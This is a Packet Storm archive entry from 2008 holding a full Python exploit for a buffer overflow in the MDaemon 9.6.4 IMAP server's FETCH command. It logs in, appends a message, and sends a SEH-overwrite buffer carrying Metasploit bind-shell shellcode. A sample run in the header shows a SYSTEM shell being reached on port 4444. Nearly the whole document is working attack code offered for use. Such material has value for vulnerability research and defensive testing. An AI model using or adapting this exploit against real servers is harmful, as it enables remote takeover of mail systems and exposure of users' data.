mdaemon-overflow.txt

2008-03-13T00:00:00
ID PACKETSTORM:64550
Type packetstorm
Reporter Matteo Memelli
Modified 2008-03-13T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
###############################################################################  
#  
# MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND UNIVERSAL EXPLOIT 0day  
# Bug discovered and coded by Matteo Memelli aka ryujin   
# http://www.gray-world.net http://www.be4mind.com  
#  
# Affected Versions : MDaemon IMAP server v9.6.4   
# Tested on OS : Windows 2000 SP4 English  
# Windows XP Sp2 English  
# Windows 2003 Standard Edition Italian  
# Discovery Date : 03/13/2008  
#  
#-----------------------------------------------------------------------------  
#  
# muts AS YOU CAN SEE, I ALWAYS MAINTAIN MY PROMISES! LOL  
#  
# Thx to Silvia for feeding my obsessions  
# Thx to didNot at #offsec   
# (yes he doesn't look like Silvia but he's a nice guy LOL)  
# and to www.offensive-security.com  
#  
#-----------------------------------------------------------------------------  
##############################################################################  
# [+] Connecting to imap server...  
# * OK test.local IMAP4rev1 MDaemon 9.6.4 ready  
#  
# [+] Logging in...  
# 0001 OK LOGIN completed  
#  
# [+] Selecting Inbox Folder...  
# * FLAGS (\Seen \Answered \Flagged \Deleted \Draft \Recent)  
# * 16 EXISTS  
# * 16 RECENT  
# * OK [UNSEEN 1] first unseen  
# * OK [UIDVALIDITY 1205411202] UIDs valid  
# * OK [UIDNEXT 17] Predicted next UID  
# * OK [PERMANENTFLAGS (\Seen \Answered \Flagged \Deleted \Draft)] .  
# 0002 OK [READ-WRITE] SELECT completed  
#  
# [+] We need at least one message in Inbox, appending one...  
# + Ready for append literal  
#  
# [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE?  
# * 17 EXISTS  
# * 17 RECENT  
# 0003 OK [APPENDUID 1205411202 17] APPEND completed  
#  
# [+] DINNER'S READY: Sending Evil Buffer...  
# [+] DONE! Check your shell on 192.168.1.195:4444  
#  
#  
# matte@badrobot:~$ nc 192.168.1.195 4444  
# (UNKNOWN) [192.168.1.195] 4444 (?) : Connection refused  
# matte@badrobot:~$ nc 192.168.1.195 4444  
# Microsoft Windows 2000 [Version 5.00.2195]  
# (C) Copyright 1985-2000 Microsoft Corp.  
#  
# C:\MDaemon\APP>whoami  
# whoami  
# NT AUTHORITY\SYSTEM  
#  
# C:\MDaemon\APP>  
##############################################################################  
  
from socket import *  
from optparse import OptionParser  
import sys, time  
  
print "[*********************************************************************]"  
print "[* *]"  
print "[* MDAEMON (POST AUTH) REMOTE R00T IMAP FETCH COMMAND EXPLOIT *]"  
print "[* DISCOVERED AND CODED *]"  
print "[* by *]"  
print "[* MATTEO MEMELLI *]"   
print "[* (ryujin) *]"   
print "[* www.be4mind.com - www.gray-world.net *]"  
print "[* *]"  
print "[*********************************************************************]"  
usage = "%prog -H TARGET_HOST -P TARGET_PORT -l USER -p PASSWD"  
parser = OptionParser(usage=usage)  
parser.add_option("-H", "--target_host", type="string",  
action="store", dest="HOST",  
help="Target Host")  
parser.add_option("-P", "--target_port", type="int",  
action="store", dest="PORT",  
help="Target Port")  
parser.add_option("-l", "--login-user", type="string",  
action="store", dest="USER",  
help="User login")  
parser.add_option("-p", "--login-password", type="string",  
action="store", dest="PASSWD",  
help="User password")  
(options, args) = parser.parse_args()  
HOST = options.HOST  
PORT = options.PORT  
USER = options.USER  
PASSWD = options.PASSWD  
if not (HOST and PORT and USER and PASSWD):  
parser.print_help()  
sys.exit()  
  
# windows/shell_bind_tcp - 317 bytes  
# http://www.metasploit.com  
# EXITFUNC=thread, LPORT=4444  
shellcode = (  
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"  
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"  
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"  
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"  
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"  
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"  
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"  
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"  
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"  
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"  
"\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"  
"\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"  
"\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"  
"\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"  
"\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"  
"\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"  
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"  
"\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"  
"\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"  
"\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"  
"\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"  
"\xff\xd0"  
)  
  
s = socket(AF_INET, SOCK_STREAM)  
print " [+] Connecting to imap server..."  
s.connect((HOST, PORT))  
print s.recv(1024)  
print " [+] Logging in..."  
s.send("0001 LOGIN %s %s\r\n" % (USER, PASSWD))  
print s.recv(1024)  
print " [+] Selecting Inbox Folder..."  
s.send("0002 SELECT Inbox\r\n")  
print s.recv(1024)  
print " [+] We need at least one message in Inbox, appending one..."  
s.send('0003 APPEND Inbox {1}\r\n')  
print s.recv(1024)  
print " [+] What would you like for dinner? SPAGHETTI AND PWNSAUCE?"  
s.send('SPAGHETTI AND PWNSAUCE\r\n')  
print s.recv(1024)  
print " [+] DINNER'S READY: Sending Evil Buffer..."  
# Seh overwrite at 532 Bytes   
# pop edi; pop ebp; ret; From mdaemon/HashCash.dll  
EVIL = "A"*528 + "\xEB\x06\x90\x90" + "\x8b\x11\xdc\x64" + "\x90"*8 + shellcode + 'C'*35   
s.send("A654 FETCH 2:4 (FLAGS BODY[" + EVIL + " (DATE FROM)])\r\n")  
s.close()  
print " [+] DONE! Check your shell on %s:%d" % (HOST, 4444)  
`